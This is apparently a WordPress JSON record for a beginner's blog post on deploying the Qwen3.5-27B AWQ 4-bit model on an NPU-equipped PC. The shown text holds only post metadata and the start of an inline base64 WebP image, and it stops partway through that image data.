{"id":2678,"date":"2026-07-10T11:52:33","date_gmt":"2026-07-10T16:52:33","guid":{"rendered":"https:\/\/fabriziogarcia.com\/es\/?p=2678"},"modified":"2026-07-10T11:52:33","modified_gmt":"2026-07-10T16:52:33","slug":"deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners","status":"publish","type":"post","link":"https:\/\/fabriziogarcia.com\/en\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\/","title":{"rendered":"Deploy Qwen3.5-27B-AWQ-4bit PC with NPU For Beginners"},"content":{"rendered":"<p><img decoding=\"async\" src=\"image\/webp;base64,UklGRgJJAABXRUJQVlA4IPZIAAAwKgGdASr4AU0BPjEYikOiIaEjJjFKaGAGCUhvXnBovU+oa5zMY4kuxzofEj\/5fXPxn7u\/Y\/mz\/gf2w+cfjnt89v\/g\/2D+X33O\/1v9j4hfEf7bzU+iP+T\/ifya+XX+8\/9X+q91H54\/2397\/fn6Bf1a\/2\/+N\/Ib6K\/7\/9kve7\/fv+X\/1f2v+BX9B\/vf\/h\/zP7\/\/Nr\/0vWN\/lvUD\/s39m\/8\/ru+yH6BP7Yf\/\/2f\/+v+3\/wuf1P\/iftj8DH8y\/zn\/v\/1\/7\/\/IB\/\/\/bA\/gH\/n6q\/kj6bfMf8T+Q\/R7+xfxlYz\/mfBb+V\/eD8j\/huO\/gF\/if81\/wH9v\/YT+8+Bn6tM2fqO+9n1z\/A\/4X92\/718W34\/\/V9U\/ED\/Wz\/c8oZ6h7Av9I\/w\/\/A\/wHsZ\/8P+R\/1H7y++b6v\/7P+s+BX+X\/1f\/af4T2vfaF+6PtNk7dvZqwesoOX3qrFDu71iExc\/SvQeAr+hDNi31ceV11ItBPGlr25fvZgcxvGE4aau0MBoJq8y8cY5QbBHv6RU6EOEkRznXSDw9LzsEiZXuB7cZEpkyHsy0Mc6gzF3jk6M49eohAngQFfwKTfdmOz8pRzKXsUUwpbiWKP5OBMAi1YRPNx3\/h35M+NoAgQty8PrAuJH6f9XvxxX\/n3nGQn3aaNv2KB\/3xWmwz+3g\/B6MQWZky3lU+BETr7zqB5YqszPxVpubs8fhWCBikt\/5ySs8cSRcOvzLexry3m7y6Tzg9KScFqRhHQMiVjPEIdOU+Y5C8rwZaYmYtHtaokkyQgljKu2PY9\/metXjsqxY0\/JKAc4I\/Kjy1XB1M5raPTLyd8SzCX7G3tbl4xXFAvwJTDN++y1kjbTlHgVozNZ4Tc2v\/V60Kdz1GTdbeJM2WDIuiPpj\/zWOc6gfOxm9dC1ni1zkM1Iy\/6lth2w4XN856W8zqK1TdE7DhIqVsTMCPNNB0VYoyogEIejdDGk+X2dS7qalQus4e6RDaoLZYkvG6YVTojoAxt8H89I6ZlHvoji\/v21akbX2t5Hcz8t1zVcHYSosqcjf5B8VXDjyDWWYfNPHtnsMOiG1q637Ia1skMkBsdDxETwOKgEkChEGCsk5FX3QExEFneQO9a0HgoYBMvxE2E0LxNQG4fOe6kQKM\/cbKqVvhrAngaSAHMTW2G8+NaRjmQQtcbNuAE4eAOMVhGMZfULCXcgj\/Q+NzcCbinNoC64Vo2ODLr4cP6KrlJNOPEFmzI0gkyw2UvrZFycVYbt0v1wx58k3efefLIN872WEBLz3RZmDVGK2qL3AvB1\/rIHs+VUIlJkuh\/zPYJcK+uHX2eRYlvTuLCela\/qmPrGqDr0afvCE8h67HGrCz\/kKLBLJG2Wm8+yHLGdljeZA5dFuRaC6BlotS6ldz\/vdc2wpsfrlLlLXLFYEACF9zxWAvsREBQZH\/uDB7ycH9CQ6itqGxCrJix1htTcnQAFvBwgaHdQUl3gtOCuG3sUlywgqRKwgplZ45VVpOgoEkdAapcOQCo9rMwLcpf0sGL2RzNPA076xSWMKXMPSF0y\/nqhBAix\/6UXkm6bNqaBhdZG7SEdEusPQEPusJ6S1w8TwgNxnNNKrUEbm8uQtbfLD6+dSYIxsslm9fF46RLfytL0RVfs7vRyju8Buc546Tfx+pKVjLwSE1snbkeO0FUrJCusZr1uGI0pcQYBjRuP7VVAeclXyblGt+oQVdlTHZfvHF5JBX8gZslP2TdmNoN1PLNTNXWrXWFVotF4i76OfaVLIb0w+nCfnjQVMDXR+7n+eHUq+m2cdERPvIor2j0uvyr0lqw245JWbWKNea5E+ubCkTrl6HNhqgaSE7oyFeo\/hOQWE2QLbIDP9RxUo5lYFcuyoEPezGjaMbQqdh376Wo8FjwKEzkNiUeMCU8qf6mX0PZ0JsvNrqZ5Dg432XggqX+HmSkOsDStThKbizxhrDqZRu1hJf6KDwIN6CMHilEYF\/8i6AyU6gE+IMmk2H\/VirxByUegPQcGXN8m\/dH6jO7QfrRv1JtCRsWQe4aKf6isiYbBiKsJVmIOaZMuoKqhvy+EWD5w5WDbLAsiXDxVaJdgRppdqTPvvP87ARXZrg9TIbA0AdnCSsbmugtsRf+8\/kvac\/0TTrq5sDruEk\/GpQ18CDf+n2PpGAhqXLbQh\/nCySc0oF+TfwuuukpFIJwItoLM5fiPi+tjg+1ym2HR2+SnYWlnV9apP5w\/nUgpvicoevsBXZQ\/1bNGz4FONF5eLrKYnHJqAXd7fz0Z3\/1SLhIWUSVcZ9K97opIqwjnZvO8qA6fYjgp5rmybISous06jQ5H1ExD1Y9vRP4ZoZ4SRmtAGBQ7cq132pnnXKPmLiPIyjURXQsFAecUa2berA+XyHgYa1CpulHbPVjTIxn1YC7YowONRT8ETKBwSQeo1kmwI6YBIezN+1VsXBHgtcWR3YDcEMvA\/DQVk9VBQWB\/ZVKYTPvCQf1FUHdGA5HHec2\/\/bPe3m3CwMZDQ5LqdqRfDKnQ89wFHhk0EBEGG8RSwJaSOgRVXc53c0U\/DVCziCI9w37zIIBdyVAhxmN\/31Ig0KB30W0gGBAwk3fXN+sk+foShbcjfFGISz+LyRvJOgsfbvOntqZQ5oGSGcH77\/4SmwOIDVCR4XpNYSR6FpNdBGJZdBOSrZP\/CybX6W5HcGi3\/lOD8SrD\/HXFu8coOv+u9WFIyfIISZHCfZPcu9sl1E7UKGOeD9bjUkPlqhu+SJpwoYJELi4F5q9SwvkN8vNxkMDY+2p4kPREhGEoQ8vGLM4y6mGl1OBbMUz\/Jbp05MMltTmVvgpus2\/hP90REKaZOlSbhWxBXr5hUYJLTjjGxEXp8iL43ei1CABSz3hpX68bD7VcX5\/zeeLg8PVAS6q+HbjIHIxM\/KXFnc563mtwHe28DZVzZ1W6gRTOOS2SVzuu2nbItr0gmz\/xkUcaCsUNfva\/ZOJGvwG4My4B1guRpe+aufPPf9z65T\/s1gd\/LY38vHbvPfQefXJ1y2qcWD4hFcnuGwIQ\/3gYOK5u1S+yFIg3Xz9bTdnOHET+1a7PcsbskhqQl8UGLpqM8E9AIjt9bv\/AZOJgk5gi9ZZ8nKTjRLY0za0xclBygqcIFC5iPlya\/5IU+m6Zdk7orfpXKLT6CS6q2wfXSWB63SQoCn5aGlG6NBgj0+FwutrIJJgBbuCcfxwLHWGaOkGAA\/v9qZqEg9Xs32YMzQayhNqUh\/8Qiqm2v6Dwf9\/xnmtDXmqbGgEEXlLyr89Xeh+2rtDisVnkGN61yLM5cm6RMdIDgdAJZd1xMclGGYrGsz9bRVM0juukyxAmtrVN9yAk+38rt2eL0lSuth3TIiGVyeYrK700QfQcSuRtmY8c9u5\/QI9m7n4ZngMEl0HZzlICMcL6WMZlxo2U8TKpgyByw+c5iMus9hIzGXXAKAGckXY\/yRZSMzwB34nB8d4S6t+3fzY5+M7BwDs3csOALPKOS1BmjA5FPpR3hlW6OXKI9Er26b7byAWgp6d\/C2OXVn7UhP6m2e\/tFjWbCDNN4UVQLjH5c+xJj1fOzXENG6sG2iRBo3Z68yA7pgdBueFTA789bB5WCr5oidPB0n6o5ebA0yry7e4DGEgQKOTbAhPFj1WnpcqeHAIqjIXCZUg5uSTBqXlNEZVdYqGoAq+YgTcq8+\/Fn39aDhpzQattLmoRV7pds7\/5TQA2DzsMySzjHi4h\/yqpVcu3dunUhXzNUMocdkmE07u5JU8B92WPp2NWLFwd8FX5qr0gi4boNh\/XaR4FY7JVwA72w0+p8RHWQl43DEcL\/N1dQTEcZ\/sR1WGjVbijtUcmexgCPqeZAbuXHarjyuWh6mmhjLRhWwz\/Z5Ms3FTzDKlW+8+bfXh7wiu6uivgAK2Xs\/GFzaFUKKTxbkoUck2vBzUXrXv17\/kaI\/30rZLeJoHecxGXnmo2qcR4BwjTCjc64J5QjvzDdhugVok4x1R9Gly+CI1mWi\/5BpptPYV4w5xeo4UQyyX5HTSFojsyI9PhaJHJAmJ4eDJOJUwAZkEuXw+vXD3mbGvCUks8KTxHjBEtpSplZlk6BvdHUq7OXVoHp0KhotZXECqwF34i3OcJ1AkwuY5iIKTGnBRnlvj6FvmsVtaY2MRTEdYp0\/Dr0zLzNJAESvH3JQiD\/vTaQvpqNRV0\/b7hjDGSc911jN9Hs3sdXo36izn4y3j\/wwj5y5E3tv1e2EJjUzfkkvkyo8gi+J6ltkAxq2J\/sI+4bGpUnKFXZ2PJoFZ3KJs0mVhsnxVRnD2xmNBe0ziPZTq1uycop2v8\/BtROUfFMxs+NKJ\/LHr16lvl5iUOelcf6m5t\/XXPxW6FWFbandCuxmDMOZB+itNCVFpDGiCu11uVGOFmIOTy+YItOYDAx8DOdl4W3QXBk4C0I\/sp1flxWAo4XgWrDfA\/fPORY3mzcPd9KdIh+QTaM1jaG7JVvLkQCngdxBpV\/sfKA8qEo7JY8UzKgYfZn\/osLqQkC8VSxmxK1nPSpEY6GfRjrBE8jN3pHQOhf4C6BJxz2+fAHtQ1e83r5YTxyfGACZRmvlo6g4CqcT01pRw4+Vw1690lLlpRp1H\/v+SMays4eowQ\/bovgieUBNMWeCNoTanj\/F2vUneWyXfmI18UU0drEfFjPVebnzv1Wm8KXIykRoY1sUVa0P2hNR4pRAeei88jAbGEM\/57Sn9Mi48GrKg9ZRFtHZlZ8OjbvrdeqIZUfqSIkPS3FsWBRhBYQHhrZ7ibHbg2aKLP3\/ZlaM2rqc4LXzLXgBVRrv8U9HTVW8LSxTNG6PVT1le+nJB2xkHzMwecglvL7kURdpwv0T0I9tOLgo684tTBPVNDcGZqD5E8+AUcUZaxbRB32LMwVoYWjz33yPZa9bCnj+RO3wNsvIt8zoFUpPLAxeGhj2\/0c2eYn1jGA8HwO\/vOPemjvEBgquajMfx58B14KHIOoVzeVOZ\/eXIJUOk4TbyyfRaLIXQp4tyfZt8wuRJ7MMInl3ZybrC5+orfvUkgoIrAR3W\/zBK8oVB22UzsLTAjOWxlFWujNoQMpIZP7VHVCVUOagA7YKJ0e\/Xlm3tSyx5ZOb8uKjABw9zXfqSn4HBVp53o6tuFcbd1gPLiXUpFx8HhwtscfPc\/hleudz2DVf9hTVjFNuyxFmw7K5KXXV\/nHU7ugb5GRCiIy34YM+3dyarjJ1Dt1Der0UCvt2sh6Hl60KG0PGL0qbIB9etSHN\/iETEBIV72GPyFkl9CA2jmjYlWsrHJ3IyzWHFA8B\/3lfFP90asLxlq+uilVJ62t5KjITyjg9O97uN8Nssk6UPqVGuhSpaoUHFgDeIzQZqk+Nm4xrHpl5ZUA5OVyuDwZZT6bTh1hRj7YZvdJ900TX10CuwBKLLmN4OaRoyossC2byzpKLMqPoZvaxFTcgRJ3PL7cg1GOlF6uGeEJJR+uHPGjKppqP8JUo++H6kL3t9b0M+Rsr2Mk5BFOEheoYnEJ7D\/WZG\/SVWvyO8h3\/RNo1LK89vyUghZSNJTj5kDdYYndCyat\/DaG8ad3+JzN143GUtNXH9SaWMzBYYTOdxWIpsTAOeL+mBW1yIRDhBYp17bJS83isQ7SA5SueCtWg1IlY0Pxji4qG24e+iTBrzeucvxDtjNg\/BOdwsdDaPClQFUWdZeT3N7Xx7K415LlAOSn2Q\/20p5Ci7Lour5zvnU8gJiwW4+kR80bhWm9glmSfmprrMO6SJwKECW07rQFWUPEDWGDBExl8hJW844mI+3qT3skXwsHqAA\/FU7PJnF4d4tBIP1jYfdvFMPV80eq7JKB76RmQFoyIxMAhFyQ+f\/u66d4zMg\/WVecIZ5Lt5xL4MYYuI\/SzsKdIkJo048ze7gkaBob0y+o+37pvzyAXbJ5KyDUf6MmhvQXByzRjSYqiVR+IitDx\/BFou4CHDKl\/9IncPLG5akKDLvwt+MGktYygy\/i1A3JrZm8ZLL1uvv6OIBbaUSjkM94pesAtPBEls651OznkHMYxF1MCAB\/CPdbaBwwzOVi1Mb37HU12ceNTF4k+piuoLc0CBciLI\/lhQtcWGfUgxNWb9KSOjX779tpQ9QUefly9CAvdWHALTSLXPruhh6IHsR+6jxCVxLiXyODTvbU3\/bGgM7tr4V1GPCBrRZtT7Dx8B9cv7rabGIDnBi02drmPB9QZzdwmvOmEcXuXzQfXaYLsTYECPjuVZZEt1nHj5vAqTsh82xETEDcx42MAgs4N0oVNeBynqz\/7znQ4TrTGqv9bSSuzRvTvPB4c7V66hsgh7v+mF+nxHiD5haGLmIPcuiMBCxQEWrKSy1iUHCvYEGMRCPCMhP5Af+C3hz5U5N4ZKoJDe6AMCrteB9Iv2uf8uJmOfixdEJ00ZCPvRnR05JnOyGhhCbzbVZxqXbnSyC0eh1VqEQ69aTpl0wFCMXxOLmnS7e7NHSvKREtJKqGsn1+j3qHvNQOmJxzktWi+5xG6Nc96la93+TlDI\/ZfDjyZBkbvYr9zO4VdfHPSbxDzHMk8yPwXoqgBCcLBc4tuUnFI7PxVFO16eydx6AuLqVeG6BLxykfX5skjDksXuB+BDS9zj7oV2nuRDJNHm0Df\/MpmLq7Rix1J3MAHT3ep4LgmEPoZm8DNaok5cMaImjXyxIOBJbpII9FIEDYaaPBDSu0OyjRGS0jYpHgK9imnJvLLYlD925VRZ3niWZJkgkt4Q8VyZNyGNUfocVZ7SYpU\/7ig5aYI8MVMvbZ8aaabWLJeJ5asK0FTRK\/KTktRZJBnPbxGQCL+BfUjk\/0VPRh8ZYSdFLlpuUbIZmYAamkaZFoDMKkRzoGN\/czQQIeeuioTW8GD38UL9PRM8fuc8V\/Il3Ks7ZjPOoJWqsAl40r6RI37\/MpnMcV728PNC2Vn5A4viMLPC8yRLK4XJz+lbIxD8g8j7HC\/ufrGKbN6VYE8qlycBL2JsjTI71Wdy\/un5qpDzyPxGFtzGTBvIabEI79FQI+oa2wCYdV2zcswQSC63BCBrhjZysHjAzR8Pd8w+JRib1wtgwC5SCzVUB61as0UOyYM5uLVaCp57gLiIWWpgaoEjAUo3Yufq6EsqEPjR1q7J0Q6lYOGZJ10+hYD+7P4KsBbto4DxujoWLhadltvx0BKS1NNZJoJejfE8G8kTeTzUeCLDNfsqmJ4f96kXNKagZd2\/Y2D3vNM3MmfiEhwyG\/QaT+3cCXyiJoteRvlPctDS3YR7VQKYlO7flWdqQXIYqQ5M67WUWpT35p+Re15AKI3bSHpA94t6bcBPB+fVZXvbMVNtPcA2goS2B1LqXXDaqfxoZyq98GcpAx9HA9iLTS0DrGIMahNLqYiXCHRJ9FHi0SbvIKdMU6GNZI5Ci\/f5\/RGsDCFUf\/jRkekRVHBi11zrFQWeqfmWfFLtvbjb\/Lyc6xQlY9lg94FtdDd1pEE\/K4C3SA1QmMKVxOqj1C9O7VRh0oVpweD+2tG\/SeABIs7F7oNGvW68SDlcbuJby88t+cquQiGuvj1zvVuxnVDFmpB0BCRymkQdTL+xrXCpIczohcPQWQlCMAozyuzGa6TNY9n0rlEYTzuhRnaaE8e3\/saTK0yCDDj2xAEp\/txRntxD3R47CT7poRjTMzm+Y0M5pN3wzsYUJrJcm4DtgfTachKUFSWrYZ36anJMcBOsX+VGv7EGLG35YXSYBbluyYR2wrBevqt1awlT5My4n\/MQ5VU50XQWYb6DBsJk8kbWyc6woWC5k4fRI444m+TxNTPhyP8PUZ+9V0v60QX2qglY5dCoodYYYmp9nyoyJ3AWuTq\/QWvR4jPQoIlA4eJ1FEev7ipOApq72DiYDP2znDv0oHg9fGJWZz8Ig7scPHbRaCYQmDqOODzdWaKXNfgN+delHWmHXrHBS8HQxZ0DHuKo10N1Yw7+v1Y8UEBw8mM9L7xThlyHpLWHkHO+1ojxmsl+GcWk8wXuRgEes3rkAPRMDMeGVi3j62G3Ue8Mt1qvn+2ihNjciX43w63+7qH55Wxm1VYeT96petCxiDfYOiXlN3aWbKmtKCDQdeAus5Q2x8zrjrWOV9qL1fzZKGuULIVKJEaMmJsC+C+EBnDu2n3wmxoc3a6r82EPIJq5Nfo6muHcXoHFyxqQ0JL8TMToF\/DTegWXQSzus5hC4Ef57eR0DHNy+4yWs+XVuGJyWoU56FkQEBdE5y0fFmNo6\/qlSfBxne3aS7CjbvoT5IY15cJ61cfWF6or2pryUPSf6OzpXl+JYfws0qXIXNNaeCelqgv6Od6uOU0sf8F+Y9Q1A4gmdNG0\/xz3JLIhNgFiYcXASVPqCFujp3Vmzs1VyOweSVYsBKVJraRmgooVGlpHAroRFNoK93zB7xL3fB11O16G9JrbVEZd5mj02jYQWyuI26xRasPG3XizGpZhGf2X64eq9cN\/47EWUHIYaegwbW6AnVQeXQ1YQSmxI4vePHQu\/JPu6be9d1z9eMhYW\/EWZz4hMfeQlLsOAt3SOyF5RiKTp9Vv2WfodYhC+dyuOZDHj32zNd26SebEXneHOzqBVNbyRwAqtil7j8F1hrgyIdJWPqIhaerNLMbeMZzJ9kb7dXAkwCvKP8ZREWZuz8y12vzBCZBHSmTf0zyRgi8+UVQdZ91KkM+wXykKWcAdfVbeotocVyUb2xkxOIouvTBkH73ltaWmU4txARTYc0E78BmuBxy1GcZhEbuhAA5\/JjuqMYnp5bNtnuO67GEGBjwz\/4nLLY915fBgxdh4XAaZsA93fdhj2AB4KfzWIplvcPxn9PZIhl+aLISo03fCTuJafg55dFLnYkThCygjD4tmoGlMjtFsGXOHLAQnJYsE7FYI2aHW7oneojSt68ID99pOjtQZSU3I2uHJh9LErDLdEO5qZgsg\/hexRRAUWnFSYB7gA2X9f9\/fy5YOjrgwTm3+ZJQSM1BPpUIbkuNUAoeVsIq2OuORtiEq085rZUR2QZyJfZ9NlA9hG6fffOum6KyV+R9JjjyhK2bq2MP4S7EAKuYtNisEMoEsNqjVA0MbN0DvNqcx2KIEZYJvmHO0PadWMEgBgQYg2HONqIX4vg\/9rwB7x+3pcXTH+Rz94nDnAZpF\/L+iyDyJaz87Q3c33HpFItFI0YOv7F7t9YLAOoXeO7xvgAfG\/8YJ5\/v5VoAx5ag0lY1fsPaZWrCApkC3NBitRrS5GmFyf8+ihtHW\/X0R5KJ+ul98HALgW+1PU2Az3JAID02tknTNQ8b2udhaPnJCnbKTt\/JnplZDHU6RrjVUy2Dhm541u8k3N4J2gIRKHQ4II+RQOhPZ7q6d0DgDa7BZ7hIqfcTRy\/4hNVLCuxEsz+T5bW5GvnjJi0QR28N5yPwdhoK+cwebVbRNqQI8xYaoOxCEEsO+lo9v7XcsjWXMsH86dWmXYa5KbfVD6LP7I3xRR0v6ZGk+32VKcdx1Z1S7ZN+e\/S2sTtxfw1kdegA4Qy\/Df1PbQ7ptjnOgE\/E0d78rQ7WN3c72ZWq+RKV5OGohQF\/4sRfQRbzIdq4x2AZr1+TTMWYX3aNManx4tsLzaI3tYp6qrCBE9OaYi4gWXYfpKNfmtK+5qZrfu2qyIYcmYXVy92QHf\/76YncRsByEFd7ChnT3o5Iy0ZlRPD8mSb4LvhnRDT9azsoSggs7dj7OEF1xBTCrD1lGgyu9pe1egeIjZzaVCB70naxCIZffm50WDRtl\/XKL49JiL+P5wYzWt8i8OO0RAloO7AxQO6ot90NwMSfFU9b10ub8BUojqkJ7epMAzY26Up8q5MA9aaBWA5Y0RZkf6V+nH0yLmbF+qIqCLdUbx4YSC86oOK4eKOuHuE36q5dsusqf2JGFKJU7WHPfnr0SLUklYMPBJGt1hUWaQceCrU4D5RZVi7SYiCxzXQE\/tuAvxzsLURVTkgANzyPXitvXm0dnWbVNDLRbrpC9cWKYGinXdNhPeDUH3xLf7zDqcpAlXX2V3AAr2As6wMJtJuGGSi7da50G6l9IOU3eGMWOH\/MoqyWy+Jp5Eo0D0JORRDd0rIvXXMYHulNPFXqCaXkNnYK3tNf+L6bjkAsZX0hQYIOjOlTPJB4drh5q6AEo5cnEaXoqzLBb+n4G23lj+AoTMAzEMgAgIfppsksfPW\/OaD9kEpW8afOu4W\/Nr2jdqKmRodiccAXQyXn9g8bEtsCsFEHaQyVqrCRzgYpExdwnWtXAy1g5YmMcuByIHXVjbcrirXjkL+8zARF1eeyGYuCkBsCYxeyM7uvLJfqalVSEV6Rw7bXgJtR6VmB3Y+eAayRBQU03ubo629xu3u1QFAaFZOq9cOjCC0j8GuR8gC3wrFhXEb7x4wBF0nLD89XAkLFpRpCqgbMkEBFEzlxtq7CFl5vK0itAdhYeHMlSMU9WCOqZRZuun7jbTfMk5\/EAp7sHARSbC2ip2yOHPfP+KCDvE\/eoKTyGunOIWIoBaMvI7wr6u1IKdOqVK1qa4bf7tALgtDJH1jZVvWKHlW0n05wtJDF0rIlnoHY3b06RNggLQ7XqbcN3u7XBe4IiZm1UcNjVlUrdTGVDmVVlP+LVTBpbPYYQJYWubfHQwkjoM0oBNREZhzHSTLw3ZXf5M7NB5siw8g5HMBCW7sMr6MlUIBJ0UnCSHYBnF6xZq3\/RZW9cVtoRsQEpIea\/KhV1AIxcSEW\/fnuK0wdLJNi9is8vlPTrj3Seg5JLhvLfyPUYrLTNFIRWKnpiabL7f7yNJQhAW4rsYzIIiDW6akOUtnAtJPFGG7pUDfd7A\/VI2PKM5Tr8k9WKD2HHvw\/VhkR5M1SPJEyPcYNPN2vgUrv+K4AckYksUOWKGtUzAOgwR19NSqzdadvRw+k3X9MFLqcWWPBek5R2yxSthNGX2BPOLT4WTaIVB\/5XFsOfJMTX9ywfh23+YznWnVuBk6xjMuVbo7Q1Zk8mJWrMdp+fbKPc1NlFjsvgq08+Q+eUCjTdPdS+pJTwggphNpdVSJKqqWRCExIVtU70NqHXQSHu\/ywc7T1gsceHjgwHFrwuXlvg3Fs9XmOStqpErdOkSXZ868VOet\/cW3hfFTUYA0Ai2askNuOxxIBgvR7rR7crvEMei\/dESSulkyUtMIvRwTIf4QnEHjGOhCHIwEBACHLGb6uX5ZDkBWky2uW5mzHoAuAZGd72QgLY+21WvKUTTcFAuI\/HlBv2nBC22r8ewbS2cP06\/G5wUWqtg0TvK5iraXyaswStKnfmy+Fz3qkyFCUi5sbsEbTI78FYAYfDLNJNYEg9I9yyg1KPL2XQ3BBtd\/yrJngmTGauL4nQtSLucPx9C37jAC9i9\/v0r+VxF1CDQIdc+52Si6rx\/QvwCl02VS0Ue7dCGGaykp2FDH0IJW9lT0rNxS3P0STlpi8EOaR4SID9SafbMdUT4ixhg0B22jSttYPL0454ry8oKDeIO948MOJ7WaQVjoKpyYdmT4d8mnSp8ZyxHbDdYBXWjkphpfxvsOLkudQzdZH86Lo6tTnqjZZLvxNPsVMz4rVfVlADYwY5bQWBJlgxERp1E5uAYgfUZLCU2PJXmFtr4oJYoavwSC\/8ynPb6Z0k+0iPzjWrZm1\/MgaOrzWIQlfRaXYI2O23BEdyBZL3nMfDeAWZy+zRVOJKOXbefOqXXRzR9DI3rNunDsysrTUYbdSjDkJTCPHwJuyPp1Ufm5JiGSO8u2IlPH0EpCOSYQUct+87uIo5GftZ8sZlzFtJe6U1g11AR24yY4Syju3q8e\/9x+yXTabBFvCYOMHpOA+BUyMUAW2MZ1CvOmapuCxfZa6gTX8yOStqlZYlZ+tb8OF\/fIPMeJoh7k4uKeYxNvSxeE0\/I97lfMGDHYh0IFyj7yl6U2brUig+5dC2eefEvUcFsQoHaWDe9BcI+Gz9d11\/YR1SmVQIDe9UMwWfKcqGcIWYGQXba7YNHW\/bjL6dqDYtvjzq1pNEjErLkvnxV\/u7RB8GWjz3VADhAESR4AYNEQuY9xubXDe6ILqhlaMpGmVcd8qIUgkXYmG+VGHc639voEdUKpOSJ\/ZoEKTf0FYY7pLdy90TRfOskSliUry8fryhPVLlZ0HajtASPhVTkYKOzgLYln3dMDeMupZB\/BJ\/u+hICCAmAVeFPMMoX\/2pGpvQ6xcOXdNveGxVCBAwYn7HafS1msE4QPeXks4Wx56gtsz0kjtgaOL28wnhHt+dZVmwTa7sDETyuVi9IrPrRasF7DtcNPiMaKHsq7pUWL4o400+3ETJ2qnG62\/gPMfVDQ4uT9\/Gy02GRErkcikel\/9GzP3TBPM6XlMOU0RTOoYctcDWgutKadiLAxxCztUYNpxTsq9g9dtJDVtsGJf6VZ849IO9bTAVJ\/dZmMf+WTaC9EPyybq5TNg0Ihj0Y16JCx3BmZR8SRYY+Hq0z2AHO+FnsejU5OOfc0db8hlPcSEsxvG+vP8yijcEDRcZzmYeMLvB7XUhQ4OClL9\/UBr0m3YRl9Fbo9wEfgJjKDYDDL5nD+uxQ3Z7iz7OwrQcc91eUqvYd2SHlVo5a9sJ3UXSTbQI3qCeTyS+qPRmK\/F9WoqvBqc3HdKhnZaQHM3VKc+o+rYYZTgzS4TpXvx4EfuTA5kliuLPPv9qTINwzAxlYxpS8pBPkXKWpq9AGEJsrU6lXhzl41PcindQ09LSVC9dAG8voEzlisqra9+JWlIhgQ6Iai1BqK6iDOcrQHtmvCHnCYj6sx\/ID9GMgNfzGayG9GRI2fXuRj8ndgAzwHpZ9OYWao9TG5T43gDsb21GduRqrJm54HFpmQyDTaWM35VTXYmzcvPmjK10tTC2HjEdh4EBbLjf6551TVlff9TN4MW0qtDOjb0Bh6J9bdNhIkkqUQL0Dtk+4F4qMdmigDPQkj9zH0P3dcyaoHOAljt7ulgVrS7ialoJjC7awyRsiLpXB67SzuUS4FKOLP4kPn3aHR2uc0yFUsZMP3rxt982GYuewJYTgpdoAQ8XlQYqF2Js0s+OI\/AgO\/9eQfT7rdrDHhsZCMdGtmIP6c2ZVWdx9lPSIGpM1zbBebkWUUquX8GaH8THG6+BxB4GU1xJNZBQuss35CVhl5cTCEOlvaZLUm1g3jLX6Zt7Xz0ecexi89i1031SwoyWWswTyucw+cuK2h9dv68gzNEtC9Tkc3uFpW9UY\/46e9d17dA5FRYV8v29KpyDEl9gKVWcc1tlcDHstHaOzuIKPIpLxcHn8JFILz6RWniM+Q6lx+Te34WH+k\/bARm11BqcOJh6ixDDCERrLcYoVAtHunX6zA4cPro6YGuBXTEcKylDxerUZa3m9yx2lkiBewdmxWW9ixBVwKynYqiCpeLOlAYXkUYFgWdNej1bedKT2DasFi7VBvDzAQwqIZJT9zz+bsl8uusSZvuvejeLk3ayeFJB54C6SiKt\/+dAjR4W3TXuD6QSwiWJyOPml2FX\/bnQIPy5w6vsBXD\/IWp5ZuyzsKLTOHJIU7ZdxBIs+c94pU6Wi9LEUN4amic\/41vM8NCcXoXwp4bM8n+fDwg7zJttIBH6wrfcYF5McsTSKGvzzHB3FomUuC14P97jsA0yLJQx9nMeU\/hSzWAlcrOCxPExnMmOC0Aq3jGWRkkAebdWTPqzEMfwvk8\/54Xa2\/YpwHR5t5neVFaOnPwCPfFPDk0OfeKCScENhJVaOZANbnbP6TmUx7ozeXUXrrIw\/bbJvVIJOrSqYZp5jcMdPSYWCsIqK7xCN7OfW1QUwm7CbCA7s1SG94LkgsxNPpHtI7rCMN+eS1ylCC1RyfFoc6iJIJDyyDcm33IFkks4EjR+1R5MlIMQbhxlDBIea5cFJqlxFpkWQSjjq5O6Jm9Udj2pCryVuehNe66fv4ZDtQJCyPMy\/0tiyeOcKrHR8Vb9cJx2hQJq6mp\/NaYyhpTyxzfuFURjbta+8iNqs3WOeLgv6+viE5eryexbGkQluWq9am5IVa3C2PIxO6z+nvytf3MThFG4bkh\/n960cbvn7G0E1MxcpJhN0mvUIKNDve4N2pNHqu\/SWohLT9EKr+35RaLcjmrm+mliRZCA\/rdGwDozbaGS0x\/FYzG51yO4daDfutDiTFQ5eW2HeqlwNBmA60ZG8Er0iGtJiz3SrnuujMJZC3seB1bm2LjNMmxnqg0pNtmd5tGU7yjvck745IAlUDw7avT+WcLr6gXocUgSeO9cegRQeRK5MOxUociCgs9BzTzWnqDunWZf6YSTR0nItMq15xc5woT\/et+UtD4Z4+jtQuxzqYNFgdXX4S1RUPgpQ+e8bs2SFAFPPIRzUmMLSlmhJG0owCxQ8av\/M1eJsO0Py8F\/HULMrl\/3QbCHQA1AYTXyBs9h629WILpqhE9kJVzon73Bf6pZZ8opTV8rEX2oHLPDhbCYiHU5WbDHqf5AbPCvUHasH+SfVm0RB9S2rOIxAvoxO8bVgdQ\/KRzPNq6HbMfJt6h7g9Wz9xmfCZDZlK7Dutf5G0WJmM+lIZVKBKFmQHJTuwoTQnHB34iBgvvfgBHn4x8VIg4ZIDks8vxfzN4u1\/guxE808GKeYDsDE9+GeXkHWk1043xgDcQbHew+02G2jpCGJOX84zu3lP\/jno0VTB3y96FMDWaF1L698OV+bXEq4y06faeqIB5W+TuziIVtZ17XDGJ1djRRT5B+513Vv3oOr3OOA6SNKliweXfweqEdIUjY0ONNpArsr94RCHaZ5AQIMYlWfAuLRCISUbP7lhHT5Q5y7S+SOn4lFN3W7duQBmPDxq3zFYjxGHGxj5EJzDkjfGhA8xAnsW7bpi6Q1ZRHBJGCTYqawyEJH6UPCY8DJqPXxsDj21PxXPRMfbqngvybMJux5yyegEHMEbNPlIrOokBEe3fOVNtzFIbMU6iS4lNb9XEo9scQp4B\/1brmPr\/NX++yn\/6z7PtmT7+1OBfPr5yNInSubaFi3jx\/eCIMQLSJTbrb3bA6ROVWtPYf98rUHA35Rh2UUJYMKEgnZ5vmj1y+6GV6Jto\/tOxD\/Q9lk34w4AK1XzBQbAdB268ZgIRz\/77ePuM5lW6PwsQLHpWhrmt1CZ6dp1MLXFATlVhAHY8mIJQYFkXbR++fUVteTFIyCEoXWVxE5\/RGF8gvsj\/BJd4YUkGlRl+loS54LyZ48mVwa\/b